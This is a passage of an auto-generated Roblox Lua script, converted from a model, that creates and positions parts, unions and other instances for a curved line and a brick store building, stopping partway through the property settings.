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- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Model1 = Instance.new("Model")
- Part2 = Instance.new("Part")
- Part3 = Instance.new("Part")
- Part4 = Instance.new("Part")
- Part5 = Instance.new("Part")
- Part6 = Instance.new("Part")
- Part7 = Instance.new("Part")
- Part8 = Instance.new("Part")
- Part9 = Instance.new("Part")
- Part10 = Instance.new("Part")
- Part11 = Instance.new("Part")
- Part12 = Instance.new("Part")
- Part13 = Instance.new("Part")
- Part14 = Instance.new("Part")
- Part15 = Instance.new("Part")
- Part16 = Instance.new("Part")
- Part17 = Instance.new("Part")
- Part18 = Instance.new("Part")
- Part19 = Instance.new("Part")
- Part20 = Instance.new("Part")
- Part21 = Instance.new("Part")
- Model22 = Instance.new("Model")
- Part23 = Instance.new("Part")
- Part24 = Instance.new("Part")
- UnionOperation25 = Instance.new("UnionOperation")
- UnionOperation26 = Instance.new("UnionOperation")
- Part27 = Instance.new("Part")
- Part28 = Instance.new("Part")
- Part29 = Instance.new("Part")
- Part30 = Instance.new("Part")
- Part31 = Instance.new("Part")
- Part32 = Instance.new("Part")
- Part33 = Instance.new("Part")
- Part34 = Instance.new("Part")
- Model35 = Instance.new("Model")
- Pants36 = Instance.new("Pants")
- Shirt37 = Instance.new("Shirt")
- Humanoid38 = Instance.new("Humanoid")
- Part39 = Instance.new("Part")
- Snap40 = Instance.new("Snap")
- Script41 = Instance.new("Script")
- Script42 = Instance.new("Script")
- Part43 = Instance.new("Part")
- Part44 = Instance.new("Part")
- Part45 = Instance.new("Part")
- Part46 = Instance.new("Part")
- Part47 = Instance.new("Part")
- SpecialMesh48 = Instance.new("SpecialMesh")
- Decal49 = Instance.new("Decal")
- Model50 = Instance.new("Model")
- Model51 = Instance.new("Model")
- UnionOperation52 = Instance.new("UnionOperation")
- Model53 = Instance.new("Model")
- UnionOperation54 = Instance.new("UnionOperation")
- UnionOperation55 = Instance.new("UnionOperation")
- Model56 = Instance.new("Model")
- UnionOperation57 = Instance.new("UnionOperation")
- UnionOperation58 = Instance.new("UnionOperation")
- UnionOperation59 = Instance.new("UnionOperation")
- ManualWeld60 = Instance.new("ManualWeld")
- Script61 = Instance.new("Script")
- Script62 = Instance.new("Script")
- ManualWeld63 = Instance.new("ManualWeld")
- Script64 = Instance.new("Script")
- Script65 = Instance.new("Script")
- Part66 = Instance.new("Part")
- SpecialMesh67 = Instance.new("SpecialMesh")
- Model68 = Instance.new("Model")
- Part69 = Instance.new("Part")
- SpecialMesh70 = Instance.new("SpecialMesh")
- Fire71 = Instance.new("Fire")
- Script72 = Instance.new("Script")
- ManualWeld73 = Instance.new("ManualWeld")
- Script74 = Instance.new("Script")
- Script75 = Instance.new("Script")
- Model76 = Instance.new("Model")
- Part77 = Instance.new("Part")
- SpecialMesh78 = Instance.new("SpecialMesh")
- Fire79 = Instance.new("Fire")
- Script80 = Instance.new("Script")
- ManualWeld81 = Instance.new("ManualWeld")
- Script82 = Instance.new("Script")
- Script83 = Instance.new("Script")
- Part84 = Instance.new("Part")
- Part85 = Instance.new("Part")
- Part86 = Instance.new("Part")
- Part87 = Instance.new("Part")
- Part88 = Instance.new("Part")
- ManualWeld89 = Instance.new("ManualWeld")
- Script90 = Instance.new("Script")
- Script91 = Instance.new("Script")
- Model92 = Instance.new("Model")
- Part93 = Instance.new("Part")
- Part94 = Instance.new("Part")
- UnionOperation95 = Instance.new("UnionOperation")
- ManualWeld96 = Instance.new("ManualWeld")
- Script97 = Instance.new("Script")
- Script98 = Instance.new("Script")
- Part99 = Instance.new("Part")
- Part100 = Instance.new("Part")
- Model101 = Instance.new("Model")
- Part102 = Instance.new("Part")
- Decal103 = Instance.new("Decal")
- Part104 = Instance.new("Part")
- Model105 = Instance.new("Model")
- Tool106 = Instance.new("Tool")
- GuiMain107 = Instance.new("GuiMain")
- Frame108 = Instance.new("Frame")
- TextLabel109 = Instance.new("TextLabel")
- Frame110 = Instance.new("Frame")
- TextLabel111 = Instance.new("TextLabel")
- TextLabel112 = Instance.new("TextLabel")
- ImageLabel113 = Instance.new("ImageLabel")
- Part114 = Instance.new("Part")
- SpotLight115 = Instance.new("SpotLight")
- CylinderMesh116 = Instance.new("CylinderMesh")
- BillboardGui117 = Instance.new("BillboardGui")
- ImageLabel118 = Instance.new("ImageLabel")
- LocalScript119 = Instance.new("LocalScript")
- LocalScript120 = Instance.new("LocalScript")
- Script121 = Instance.new("Script")
- Part122 = Instance.new("Part")
- BlockMesh123 = Instance.new("BlockMesh")
- Sound124 = Instance.new("Sound")
- Sound125 = Instance.new("Sound")
- Sound126 = Instance.new("Sound")
- Part127 = Instance.new("Part")
- BlockMesh128 = Instance.new("BlockMesh")
- Part129 = Instance.new("Part")
- CylinderMesh130 = Instance.new("CylinderMesh")
- Part131 = Instance.new("Part")
- CylinderMesh132 = Instance.new("CylinderMesh")
- UnionOperation133 = Instance.new("UnionOperation")
- UnionOperation134 = Instance.new("UnionOperation")
- UnionOperation135 = Instance.new("UnionOperation")
- UnionOperation136 = Instance.new("UnionOperation")
- UnionOperation137 = Instance.new("UnionOperation")
- UnionOperation138 = Instance.new("UnionOperation")
- UnionOperation139 = Instance.new("UnionOperation")
- UnionOperation140 = Instance.new("UnionOperation")
- UnionOperation141 = Instance.new("UnionOperation")
- UnionOperation142 = Instance.new("UnionOperation")
- UnionOperation143 = Instance.new("UnionOperation")
- UnionOperation144 = Instance.new("UnionOperation")
- UnionOperation145 = Instance.new("UnionOperation")
- UnionOperation146 = Instance.new("UnionOperation")
- UnionOperation147 = Instance.new("UnionOperation")
- UnionOperation148 = Instance.new("UnionOperation")
- UnionOperation149 = Instance.new("UnionOperation")
- UnionOperation150 = Instance.new("UnionOperation")
- UnionOperation151 = Instance.new("UnionOperation")
- UnionOperation152 = Instance.new("UnionOperation")
- UnionOperation153 = Instance.new("UnionOperation")
- UnionOperation154 = Instance.new("UnionOperation")
- UnionOperation155 = Instance.new("UnionOperation")
- UnionOperation156 = Instance.new("UnionOperation")
- UnionOperation157 = Instance.new("UnionOperation")
- UnionOperation158 = Instance.new("UnionOperation")
- Part159 = Instance.new("Part")
- CylinderMesh160 = Instance.new("CylinderMesh")
- Part161 = Instance.new("Part")
- CylinderMesh162 = Instance.new("CylinderMesh")
- Part163 = Instance.new("Part")
- CylinderMesh164 = Instance.new("CylinderMesh")
- Part165 = Instance.new("Part")
- CylinderMesh166 = Instance.new("CylinderMesh")
- Part167 = Instance.new("Part")
- CylinderMesh168 = Instance.new("CylinderMesh")
- Part169 = Instance.new("Part")
- CylinderMesh170 = Instance.new("CylinderMesh")
- WedgePart171 = Instance.new("WedgePart")
- SpecialMesh172 = Instance.new("SpecialMesh")
- WedgePart173 = Instance.new("WedgePart")
- SpecialMesh174 = Instance.new("SpecialMesh")
- WedgePart175 = Instance.new("WedgePart")
- SpecialMesh176 = Instance.new("SpecialMesh")
- WedgePart177 = Instance.new("WedgePart")
- SpecialMesh178 = Instance.new("SpecialMesh")
- Part179 = Instance.new("Part")
- SpecialMesh180 = Instance.new("SpecialMesh")
- Snap181 = Instance.new("Snap")
- Model0.Parent = mas
- Model1.Name = "Curve"
- Model1.Parent = Model0
- Part2.Name = "LineSegment"
- Part2.Parent = Model1
- Part2.CFrame = CFrame.new(156.553284, 22.5180359, -117.661308, 0.0770730302, -0.976473391, -0.2013942, 0, 0.201995075, -0.979386568, 0.99702543, 0.0754842982, 0.0155683728)
- Part2.Orientation = Vector3.new(78.3499985, -85.5800018, 0)
- Part2.Position = Vector3.new(156.553284, 22.5180359, -117.661308)
- Part2.Rotation = Vector3.new(89.0899963, -11.6199999, 85.4899979)
- Part2.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part2.Size = Vector3.new(0.200000003, 0.200000003, 1.13700879)
- Part2.Anchored = true
- Part2.BottomSurface = Enum.SurfaceType.Smooth
- Part2.BrickColor = BrickColor.new("Really black")
- Part2.CanCollide = false
- Part2.TopSurface = Enum.SurfaceType.Smooth
- Part2.brickColor = BrickColor.new("Really black")
- Part3.Name = "LineSegment"
- Part3.Parent = Model1
- Part3.CFrame = CFrame.new(156.324417, 21.4544754, -117.643616, 0.0770730302, -0.972376645, -0.220325619, 0, 0.220982924, -0.975277722, 0.99702543, 0.0751676038, 0.0170318242)
- Part3.Orientation = Vector3.new(77.2300034, -85.5800018, 0)
- Part3.Position = Vector3.new(156.324417, 21.4544754, -117.643616)
- Part3.Rotation = Vector3.new(89, -12.7299995, 85.4700012)
- Part3.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part3.Size = Vector3.new(0.200000003, 0.200000003, 1.03927374)
- Part3.Anchored = true
- Part3.BottomSurface = Enum.SurfaceType.Smooth
- Part3.BrickColor = BrickColor.new("Really black")
- Part3.CanCollide = false
- Part3.TopSurface = Enum.SurfaceType.Smooth
- Part3.brickColor = BrickColor.new("Really black")
- Part4.Name = "LineSegment"
- Part4.Parent = Model1
- Part4.CFrame = CFrame.new(156.095505, 20.4909, -117.625854, 0.0770730302, -0.966939509, -0.243079916, 0, 0.243805125, -0.969824314, 0.99702543, 0.0747473016, 0.0187908001)
- Part4.Orientation = Vector3.new(75.8899994, -85.5800018, 0)
- Part4.Position = Vector3.new(156.095505, 20.4909, -117.625854)
- Part4.Rotation = Vector3.new(88.8899994, -14.0699997, 85.4400024)
- Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part4.Size = Vector3.new(0.200000003, 0.200000003, 0.941991866)
- Part4.Anchored = true
- Part4.BottomSurface = Enum.SurfaceType.Smooth
- Part4.BrickColor = BrickColor.new("Really black")
- Part4.CanCollide = false
- Part4.TopSurface = Enum.SurfaceType.Smooth
- Part4.brickColor = BrickColor.new("Really black")
- Part5.Name = "LineSegment"
- Part5.Parent = Model1
- Part5.CFrame = CFrame.new(155.866516, 19.6273232, -117.608154, 0.0770730302, -0.959524691, -0.270872802, 0, 0.271680951, -0.962387443, 0.99702543, 0.0741741136, 0.0209392719)
- Part5.Orientation = Vector3.new(74.2399979, -85.5800018, 0)
- Part5.Position = Vector3.new(155.866516, 19.6273232, -117.608154)
- Part5.Rotation = Vector3.new(88.75, -15.7200003, 85.4100037)
- Part5.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part5.Size = Vector3.new(0.200000003, 0.200000003, 0.845364571)
- Part5.Anchored = true
- Part5.BottomSurface = Enum.SurfaceType.Smooth
- Part5.BrickColor = BrickColor.new("Really black")
- Part5.CanCollide = false
- Part5.TopSurface = Enum.SurfaceType.Smooth
- Part5.brickColor = BrickColor.new("Really black")
- Part6.Name = "LineSegment"
- Part6.Parent = Model1
- Part6.CFrame = CFrame.new(155.637482, 18.8637562, -117.590454, 0.0770730302, -0.949078143, -0.305467665, 0, 0.30637902, -0.951909602, 0.99702543, 0.07336656, 0.0236135591)
- Part6.Orientation = Vector3.new(72.1600037, -85.5800018, 0)
- Part6.Position = Vector3.new(155.637482, 18.8637562, -117.590454)
- Part6.Rotation = Vector3.new(88.5800018, -17.7900009, 85.3600006)
- Part6.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part6.Size = Vector3.new(0.200000003, 0.200000003, 0.749627054)
- Part6.Anchored = true
- Part6.BottomSurface = Enum.SurfaceType.Smooth
- Part6.BrickColor = BrickColor.new("Really black")
- Part6.CanCollide = false
- Part6.TopSurface = Enum.SurfaceType.Smooth
- Part6.brickColor = BrickColor.new("Really black")
- Part7.Name = "LineSegment"
- Part7.Parent = Model1
- Part7.CFrame = CFrame.new(155.408356, 18.2001572, -117.572937, 0.0770730302, -0.933757365, -0.349509358, 0, 0.350552112, -0.936543226, 0.99702543, 0.0721822232, 0.0270181168)
- Part7.Orientation = Vector3.new(69.4800034, -85.5800018, 0)
- Part7.Position = Vector3.new(155.408356, 18.2001572, -117.572937)
- Part7.Rotation = Vector3.new(88.3499985, -20.4599991, 85.2799988)
- Part7.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part7.Size = Vector3.new(0.200000003, 0.200000003, 0.655144513)
- Part7.Anchored = true
- Part7.BottomSurface = Enum.SurfaceType.Smooth
- Part7.BrickColor = BrickColor.new("Really black")
- Part7.CanCollide = false
- Part7.TopSurface = Enum.SurfaceType.Smooth
- Part7.brickColor = BrickColor.new("Really black")
- Part8.Name = "LineSegment"
- Part8.Parent = Model1
- Part8.CFrame = CFrame.new(155.179489, 17.6365948, -117.555084, 0.0770730302, -0.910167217, -0.407007813, 0, 0.408222139, -0.912882686, 0.99702543, 0.0703586414, 0.031462919)
- Part8.Orientation = Vector3.new(65.9100037, -85.5800018, 0)
- Part8.Position = Vector3.new(155.179489, 17.6365948, -117.555084)
- Part8.Rotation = Vector3.new(88.0299988, -24.0200005, 85.1600037)
- Part8.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part8.Size = Vector3.new(0.200000003, 0.200000003, 0.562591732)
- Part8.Anchored = true
- Part8.BottomSurface = Enum.SurfaceType.Smooth
- Part8.BrickColor = BrickColor.new("Really black")
- Part8.CanCollide = false
- Part8.TopSurface = Enum.SurfaceType.Smooth
- Part8.brickColor = BrickColor.new("Really black")
- Part9.Name = "LineSegment"
- Part9.Parent = Model1
- Part9.CFrame = CFrame.new(154.950363, 17.1730061, -117.537506, 0.0770730302, -0.871636868, -0.484054744, 0, 0.485498935, -0.874237299, 0.99702543, 0.0673801228, 0.0374188758)
- Part9.Orientation = Vector3.new(60.9500008, -85.5800018, 0)
- Part9.Position = Vector3.new(154.950363, 17.1730061, -117.537506)
- Part9.Rotation = Vector3.new(87.5500031, -28.9500008, 84.9499969)
- Part9.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part9.Size = Vector3.new(0.200000003, 0.200000003, 0.473059773)
- Part9.Anchored = true
- Part9.BottomSurface = Enum.SurfaceType.Smooth
- Part9.BrickColor = BrickColor.new("Really black")
- Part9.CanCollide = false
- Part9.TopSurface = Enum.SurfaceType.Smooth
- Part9.brickColor = BrickColor.new("Really black")
- Part10.Name = "LineSegment"
- Part10.Parent = Model1
- Part10.CFrame = CFrame.new(154.721497, 16.8094521, -117.519867, 0.0770730302, -0.804348826, -0.589137256, 0, 0.590894878, -0.806748688, 0.99702543, 0.0621785559, 0.0455420613)
- Part10.Orientation = Vector3.new(53.7799988, -85.5800018, 0)
- Part10.Position = Vector3.new(154.721497, 16.8094521, -117.519867)
- Part10.Rotation = Vector3.new(86.7699966, -36.0999985, 84.5299988)
- Part10.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part10.Size = Vector3.new(0.200000003, 0.200000003, 0.388681352)
- Part10.Anchored = true
- Part10.BottomSurface = Enum.SurfaceType.Smooth
- Part10.BrickColor = BrickColor.new("Really black")
- Part10.CanCollide = false
- Part10.TopSurface = Enum.SurfaceType.Smooth
- Part10.brickColor = BrickColor.new("Really black")
- Part11.Name = "LineSegment"
- Part11.Parent = Model1
- Part11.CFrame = CFrame.new(154.492249, 16.5457592, -117.502045, 0.0770730302, -0.67897284, -0.730106592, 0, 0.732284844, -0.680998504, 0.99702543, 0.0524866208, 0.0564394109)
- Part11.Orientation = Vector3.new(42.9199982, -85.5800018, 0)
- Part11.Position = Vector3.new(154.492249, 16.5457592, -117.502045)
- Part11.Rotation = Vector3.new(85.2600021, -46.9000015, 83.5199966)
- Part11.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part11.Size = Vector3.new(0.200000003, 0.200000003, 0.313623965)
- Part11.Anchored = true
- Part11.BottomSurface = Enum.SurfaceType.Smooth
- Part11.BrickColor = BrickColor.new("Really black")
- Part11.CanCollide = false
- Part11.TopSurface = Enum.SurfaceType.Smooth
- Part11.brickColor = BrickColor.new("Really black")
- Part12.Name = "LineSegment"
- Part12.Parent = Model1
- Part12.CFrame = CFrame.new(154.263275, 16.3821697, -117.484253, 0.0770730302, -0.441954046, -0.893720567, 0, 0.896386981, -0.443272591, 0.99702543, 0.0341643654, 0.0690872446)
- Part12.Orientation = Vector3.new(26.3099995, -85.5800018, 0)
- Part12.Position = Vector3.new(154.263275, 16.3821697, -117.484253)
- Part12.Rotation = Vector3.new(81.1399994, -63.3400002, 80.1100006)
- Part12.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part12.Size = Vector3.new(0.200000003, 0.200000003, 0.256209195)
- Part12.Anchored = true
- Part12.BottomSurface = Enum.SurfaceType.Smooth
- Part12.BrickColor = BrickColor.new("Really black")
- Part12.CanCollide = false
- Part12.TopSurface = Enum.SurfaceType.Smooth
- Part12.brickColor = BrickColor.new("Really black")
- Part13.Name = "LineSegment"
- Part13.Parent = Model1
- Part13.CFrame = CFrame.new(154.034454, 16.318634, -117.466522, 0.0770730302, -0.0588560216, -0.995286763, 0, 0.998256147, -0.0590316132, 0.99702543, 0.00454974594, 0.0769386292)
- Part13.Orientation = Vector3.new(3.38000011, -85.5800018, 0)
- Part13.Position = Vector3.new(154.034454, 16.318634, -117.466522)
- Part13.Rotation = Vector3.new(37.5, -84.4300003, 37.3699989)
- Part13.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part13.Size = Vector3.new(0.200000003, 0.200000003, 0.230070964)
- Part13.Anchored = true
- Part13.BottomSurface = Enum.SurfaceType.Smooth
- Part13.BrickColor = BrickColor.new("Really black")
- Part13.CanCollide = false
- Part13.TopSurface = Enum.SurfaceType.Smooth
- Part13.brickColor = BrickColor.new("Really black")
- Part14.Name = "LineSegment"
- Part14.Parent = Model1
- Part14.CFrame = CFrame.new(153.805344, 16.3550339, -117.448975, 0.0770730302, 0.3511751, -0.933132291, 0, 0.935916245, 0.3522228, 0.99702543, -0.0271468777, 0.0721338913)
- Part14.Orientation = Vector3.new(-20.6200008, -85.5800018, 0)
- Part14.Position = Vector3.new(153.805344, 16.3550339, -117.448975)
- Part14.Rotation = Vector3.new(-78.4300003, -68.9300003, -77.6200027)
- Part14.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part14.Size = Vector3.new(0.200000003, 0.200000003, 0.245395511)
- Part14.Anchored = true
- Part14.BottomSurface = Enum.SurfaceType.Smooth
- Part14.BrickColor = BrickColor.new("Really black")
- Part14.CanCollide = false
- Part14.TopSurface = Enum.SurfaceType.Smooth
- Part14.brickColor = BrickColor.new("Really black")
- Part15.Name = "LineSegment"
- Part15.Parent = Model1
- Part15.CFrame = CFrame.new(153.576538, 16.4914703, -117.431213, 0.0770730302, 0.628373027, -0.774084687, 0, 0.776394129, 0.630247772, 0.99702543, -0.048575107, 0.0598390475)
- Part15.Orientation = Vector3.new(-39.0699997, -85.5800018, 0)
- Part15.Position = Vector3.new(153.576538, 16.4914703, -117.431213)
- Part15.Rotation = Vector3.new(-84.5800018, -50.7200012, -83.0100021)
- Part15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part15.Size = Vector3.new(0.200000003, 0.200000003, 0.295806676)
- Part15.Anchored = true
- Part15.BottomSurface = Enum.SurfaceType.Smooth
- Part15.BrickColor = BrickColor.new("Really black")
- Part15.CanCollide = false
- Part15.TopSurface = Enum.SurfaceType.Smooth
- Part15.brickColor = BrickColor.new("Really black")
- Part16.Name = "LineSegment"
- Part16.Parent = Model1
- Part16.CFrame = CFrame.new(153.347595, 16.7279167, -117.41346, 0.0770730302, 0.777851224, -0.623704374, 0, 0.625565231, 0.780171931, 0.99702543, -0.0601302162, 0.0482142083)
- Part16.Orientation = Vector3.new(-51.2799988, -85.5800018, 0)
- Part16.Position = Vector3.new(153.347595, 16.7279167, -117.41346)
- Part16.Rotation = Vector3.new(-86.4599991, -38.5900002, -84.3399963)
- Part16.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part16.Size = Vector3.new(0.200000003, 0.200000003, 0.367127627)
- Part16.Anchored = true
- Part16.BottomSurface = Enum.SurfaceType.Smooth
- Part16.BrickColor = BrickColor.new("Really black")
- Part16.CanCollide = false
- Part16.TopSurface = Enum.SurfaceType.Smooth
- Part16.brickColor = BrickColor.new("Really black")
- Part17.Name = "LineSegment"
- Part17.Parent = Model1
- Part17.CFrame = CFrame.new(153.11853, 17.0644341, -117.395874, 0.0770730302, 0.857075334, -0.509393454, 0, 0.510913193, 0.859632432, 0.99702543, -0.0662544668, 0.0393776298)
- Part17.Orientation = Vector3.new(-59.2799988, -85.5800018, 0)
- Part17.Position = Vector3.new(153.11853, 17.0644341, -117.395874)
- Part17.Rotation = Vector3.new(-87.3799973, -30.6200008, -84.8600006)
- Part17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part17.Size = Vector3.new(0.200000003, 0.200000003, 0.449528039)
- Part17.Anchored = true
- Part17.BottomSurface = Enum.SurfaceType.Smooth
- Part17.BrickColor = BrickColor.new("Really black")
- Part17.CanCollide = false
- Part17.TopSurface = Enum.SurfaceType.Smooth
- Part17.brickColor = BrickColor.new("Really black")
- Part18.Name = "LineSegment"
- Part18.Parent = Model1
- Part18.CFrame = CFrame.new(152.889481, 17.5008793, -117.378174, 0.0770730302, 0.901579261, -0.425693095, 0, 0.426963091, 0.904269099, 0.99702543, -0.0696947575, 0.032907337)
- Part18.Orientation = Vector3.new(-64.7300034, -85.5800018, 0)
- Part18.Position = Vector3.new(152.889481, 17.5008793, -117.378174)
- Part18.Rotation = Vector3.new(-87.9199982, -25.1900005, -85.1100006)
- Part18.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part18.Size = Vector3.new(0.200000003, 0.200000003, 0.537914813)
- Part18.Anchored = true
- Part18.BottomSurface = Enum.SurfaceType.Smooth
- Part18.BrickColor = BrickColor.new("Really black")
- Part18.CanCollide = false
- Part18.TopSurface = Enum.SurfaceType.Smooth
- Part18.brickColor = BrickColor.new("Really black")
- Part19.Name = "LineSegment"
- Part19.Parent = Model1
- Part19.CFrame = CFrame.new(152.660553, 18.0372868, -117.360229, 0.0770730302, 0.92837137, -0.363574415, 0, 0.36465919, 0.931141078, 0.99702543, -0.0717658773, 0.0281053893)
- Part19.Orientation = Vector3.new(-68.6100006, -85.5800018, 0)
- Part19.Position = Vector3.new(152.660553, 18.0372868, -117.360229)
- Part19.Rotation = Vector3.new(-88.2699966, -21.3199997, -85.25)
- Part19.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part19.Size = Vector3.new(0.200000003, 0.200000003, 0.629800677)
- Part19.Anchored = true
- Part19.BottomSurface = Enum.SurfaceType.Smooth
- Part19.BrickColor = BrickColor.new("Really black")
- Part19.CanCollide = false
- Part19.TopSurface = Enum.SurfaceType.Smooth
- Part19.brickColor = BrickColor.new("Really black")
- Part20.Name = "LineSegment"
- Part20.Parent = Model1
- Part20.CFrame = CFrame.new(152.43158, 18.6737328, -117.342651, 0.0770730302, 0.945509076, -0.316342235, 0, 0.317286044, 0.948329926, 0.99702543, -0.0730906725, 0.0244541951)
- Part20.Orientation = Vector3.new(-71.5, -85.5800018, 0)
- Part20.Position = Vector3.new(152.43158, 18.6737328, -117.342651)
- Part20.Rotation = Vector3.new(-88.5199966, -18.4400005, -85.3399963)
- Part20.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part20.Size = Vector3.new(0.200000003, 0.200000003, 0.723832488)
- Part20.Anchored = true
- Part20.BottomSurface = Enum.SurfaceType.Smooth
- Part20.BrickColor = BrickColor.new("Really black")
- Part20.CanCollide = false
- Part20.TopSurface = Enum.SurfaceType.Smooth
- Part20.brickColor = BrickColor.new("Really black")
- Part21.Name = "LineSegment"
- Part21.Parent = Model1
- Part21.CFrame = CFrame.new(152.20285, 19.4101734, -117.324951, 0.0770730302, 0.957047224, -0.279500186, 0, 0.280334055, 0.959902525, 0.99702543, -0.0739825964, 0.0216061976)
- Part21.Orientation = Vector3.new(-73.7200012, -85.5800018, 0)
- Part21.Position = Vector3.new(152.20285, 19.4101734, -117.324951)
- Part21.Rotation = Vector3.new(-88.7099991, -16.2299995, -85.4000015)
- Part21.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part21.Size = Vector3.new(0.200000003, 0.200000003, 0.819273412)
- Part21.Anchored = true
- Part21.BottomSurface = Enum.SurfaceType.Smooth
- Part21.BrickColor = BrickColor.new("Really black")
- Part21.CanCollide = false
- Part21.TopSurface = Enum.SurfaceType.Smooth
- Part21.brickColor = BrickColor.new("Really black")
- Model22.Parent = Model0
- Part23.Parent = Model22
- Part23.CFrame = CFrame.new(135.268463, 2.22179794, -116.880371, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part23.Orientation = Vector3.new(0, 179.559998, 0)
- Part23.Position = Vector3.new(135.268463, 2.22179794, -116.880371)
- Part23.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part23.Size = Vector3.new(8.61000919, 3.52999902, 2.28000188)
- Part23.Anchored = true
- Part23.BottomSurface = Enum.SurfaceType.Smooth
- Part23.Material = Enum.Material.Concrete
- Part23.TopSurface = Enum.SurfaceType.Smooth
- Part24.Parent = Model22
- Part24.CFrame = CFrame.new(133.479507, 6.82317114, -134.830933, -0.00355200004, 0.00114899979, 0.999993086, 0.00574600138, 0.999982893, -0.00112857821, -0.999977171, 0.00574195292, -0.00355854305)
- Part24.Orientation = Vector3.new(0.0599999987, 90.1999969, 0.330000013)
- Part24.Position = Vector3.new(133.479507, 6.82317114, -134.830933)
- Part24.Rotation = Vector3.new(162.399994, 89.7900009, -162.070007)
- Part24.Color = Color3.new(0.627451, 0.372549, 0.207843)
- Part24.Size = Vector3.new(4.44000387, 0.230000034, 2)
- Part24.Anchored = true
- Part24.BottomSurface = Enum.SurfaceType.Smooth
- Part24.BrickColor = BrickColor.new("Dark orange")
- Part24.Material = Enum.Material.Wood
- Part24.TopSurface = Enum.SurfaceType.Smooth
- Part24.brickColor = BrickColor.new("Dark orange")
- UnionOperation25.Parent = Model22
- UnionOperation25.CFrame = CFrame.new(136.164368, 11.8849936, -128.048157, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- UnionOperation25.Orientation = Vector3.new(0, 179.559998, 0)
- UnionOperation25.Position = Vector3.new(136.164368, 11.8849936, -128.048157)
- UnionOperation25.Rotation = Vector3.new(-180, 0.439999998, -180)
- UnionOperation25.Color = Color3.new(0.639216, 0.635294, 0.647059)
- UnionOperation25.Size = Vector3.new(41.4699936, 22.6799965, 20.2399979)
- UnionOperation25.Anchored = true
- UnionOperation25.BrickColor = BrickColor.new("Medium stone grey")
- UnionOperation25.Material = Enum.Material.Brick
- UnionOperation25.brickColor = BrickColor.new("Medium stone grey")
- UnionOperation26.Name = "Door Frame"
- UnionOperation26.Parent = Model22
- UnionOperation26.CFrame = CFrame.new(133.068726, 7.81897879, -118.119904, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- UnionOperation26.Orientation = Vector3.new(0, 179.559998, 0)
- UnionOperation26.Position = Vector3.new(133.068726, 7.81897879, -118.119904)
- UnionOperation26.Rotation = Vector3.new(-180, 0.439999998, -180)
- UnionOperation26.Color = Color3.new(0.356863, 0.364706, 0.411765)
- UnionOperation26.Size = Vector3.new(3.99999237, 7.79000092, 0.310012817)
- UnionOperation26.Anchored = true
- UnionOperation26.BrickColor = BrickColor.new("Smoky grey")
- UnionOperation26.CanCollide = false
- UnionOperation26.Material = Enum.Material.DiamondPlate
- UnionOperation26.brickColor = BrickColor.new("Smoky grey")
- Part27.Name = "Store Barrier"
- Part27.Parent = Model22
- Part27.CFrame = CFrame.new(137.020599, 14.8622999, -134.446838, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part27.Orientation = Vector3.new(0, 179.559998, 0)
- Part27.Position = Vector3.new(137.020599, 14.8622999, -134.446838)
- Part27.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part27.Transparency = 1
- Part27.Size = Vector3.new(9.04000473, 15.9000006, 6.19000244)
- Part27.Anchored = true
- Part27.BottomSurface = Enum.SurfaceType.Smooth
- Part27.TopSurface = Enum.SurfaceType.Smooth
- Part28.Parent = Model22
- Part28.CFrame = CFrame.new(135.231262, 1.18680096, -112.040451, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part28.Orientation = Vector3.new(0, 179.559998, 0)
- Part28.Position = Vector3.new(135.231262, 1.18680096, -112.040451)
- Part28.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part28.Size = Vector3.new(8.61000919, 1.46000004, 0.600001156)
- Part28.Anchored = true
- Part28.BottomSurface = Enum.SurfaceType.Smooth
- Part28.Material = Enum.Material.Concrete
- Part28.TopSurface = Enum.SurfaceType.Smooth
- Part29.Parent = Model22
- Part29.CFrame = CFrame.new(135.246414, 1.66179895, -114.005371, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part29.Orientation = Vector3.new(0, 179.559998, 0)
- Part29.Position = Vector3.new(135.246414, 1.66179895, -114.005371)
- Part29.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part29.Size = Vector3.new(8.61000919, 2.40999985, 0.830001235)
- Part29.Anchored = true
- Part29.BottomSurface = Enum.SurfaceType.Smooth
- Part29.Material = Enum.Material.Concrete
- Part29.TopSurface = Enum.SurfaceType.Smooth
- Part30.Parent = Model22
- Part30.CFrame = CFrame.new(135.240891, 1.55680096, -113.305161, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
